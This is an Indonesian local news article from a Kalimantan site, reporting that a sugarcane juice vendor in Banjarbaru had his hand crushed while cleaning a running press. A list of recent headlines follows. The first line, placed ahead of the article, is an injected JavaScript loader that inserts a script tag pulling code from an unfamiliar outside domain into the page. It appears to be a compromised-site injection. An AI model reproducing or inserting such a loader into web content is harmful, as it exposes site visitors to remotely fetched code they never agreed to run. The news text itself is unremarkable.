(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Bersihkan Mesin Penggiling Es Tebu, Tangan Pria Ini Malah Tergilas


BANJARBARU, Nasib malang menimpa seorang pria yang sehari-harinya menjual es tebu di kota Banjarbaru. Pasalnya, tangan kiri pria tersebut tersangkut di mesin pemeras tebu hingga harus dilarikan ke Rumah Sakit.

Dari informasi yang didapat Kanalkalimantan.com, perisitiwa ini terjadi di jalan Mistar Cokrokusumo, Kecamtan Banjarbaru Selatan, tepatnya di dekat kantor BNI Ratu Elok, Selasa (17/9) sekitar pukul 18.55 Wita.

Fendi salah satu saksi mata mengatakan, saat itu aktivitas sore berjalan seperti biasanya. Hingga sampai dirinya melihat ada seorang pria yang dikelilingi kerumunan orang. Penasaran akan hal tersebut, dirinya pun menghampiri kerumunan itu.

Ternyata, betapa terkejutnya Fendi saat melihat seorang pria dengan kondisi tangan kirinya berada di dalam mesin pemeras es tebu.

“Kaget saya, di situ saya gak tau apa-apa. Orang itu yang tangannya di dalam mesin tebu terlihat menahan kesakitan dan sangat panik,” katanya.

Mencoba mencari tahu asal kejadian, Fendi menanyakan kepada orang-orang yang berada di lokasi kejadian. Dari situlah, baru diketahui rupanya pria tersebut sedang mencoba membersihkan mesin pemeras tebu yang sedang dalam keadaan menyala.

“Mesin itu masih dalam keadaan hidup. Kata orang-orang memang untuk membersihkan mesin itu memang harus dalam keadaan hidup,” katanya.

Alhasil, pria tersebut itupun dilarikan ke IGD RSUD Ratu Zaleha, Martapura, Kabupaten Banjar untuk mendapatkan pertolongan bersama mesin pemeras tebu.
Salah satu rekanan emergency mengatakan, tangan pria tersebut berhasil dikeluarkan setelah mesin pemeras tebu itu dipotong dengan gerinda.

“Kita tidak tau nama pria itu, karena setelah tangannya berhasil dikeluarkan, kami langsung pulang. Tapi yang kita tahu katanya orang Jogja dan baru sekitar seminggu ini berada di Banjarbaru,” ucap sumber ini. (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

8 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.